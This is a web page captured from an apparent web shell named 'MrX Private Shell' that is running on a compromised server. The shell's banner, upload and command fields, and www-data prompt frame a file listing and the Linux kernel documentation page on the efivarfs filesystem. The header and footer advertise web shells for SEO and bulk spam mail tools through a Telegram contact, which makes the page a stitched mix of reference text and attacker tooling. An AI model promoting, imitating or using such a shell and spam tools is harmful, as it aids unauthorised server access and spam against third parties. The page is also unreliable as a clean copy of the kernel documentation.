__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.192: ~ $ 
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>efivarfs - a (U)EFI variable filesystem &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="EROFS - Enhanced Read-Only File System" href="erofs.html" />
    <link rel="prev" title="eCryptfs: A stacked cryptographic filesystem for Linux" href="ecryptfs.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/efivarfs.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="efivarfs-a-u-efi-variable-filesystem">
<h1>efivarfs - a (U)EFI variable filesystem<a class="headerlink" href="#efivarfs-a-u-efi-variable-filesystem" title="Link to this heading">¶</a></h1>
<p>The efivarfs filesystem was created to address the shortcomings of
using entries in sysfs to maintain EFI variables. The old sysfs EFI
variables code only supported variables of up to 1024 bytes. This
limitation existed in version 0.99 of the EFI specification, but was
removed before any full releases. Since variables can now be larger
than a single page, sysfs isn’t the best interface for this.</p>
<p>Variables can be created, deleted and modified with the efivarfs
filesystem.</p>
<p>efivarfs is typically mounted like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount -t efivarfs none /sys/firmware/efi/efivars
</pre></div>
</div>
<p>Due to the presence of numerous firmware bugs where removing non-standard
UEFI variables causes the system firmware to fail to POST, efivarfs
files that are not well-known standardized variables are created
as immutable files.  This doesn’t prevent removal - “chattr -i” will work -
but it does prevent this kind of failure from being accomplished
accidentally.</p>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>When a content of an UEFI variable in /sys/firmware/efi/efivars is
displayed, for example using “hexdump”, pay attention that the first
4 bytes of the output represent the UEFI variable attributes,
in little-endian format.</p>
<p>Practically the output of each efivar is composed of:</p>
<blockquote>
<div><table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>4_bytes_of_attributes + efivar_data</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</div>
<p><em>See also:</em></p>
<ul class="simple">
<li><p><a class="reference internal" href="../admin-guide/acpi/ssdt-overlays.html"><span class="doc">SSDT Overlays</span></a></p></li>
<li><p><a class="reference internal" href="../admin-guide/abi-removed-files.html#abi-file-removed-sysfs-firmware-efi-vars"><span class="std std-ref">ABI file removed/sysfs-firmware-efi-vars</span></a></p></li>
</ul>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/efivarfs.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

DIR : / usr/ share/ doc/ linux-doc-6.18/ html/ filesystems/
Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager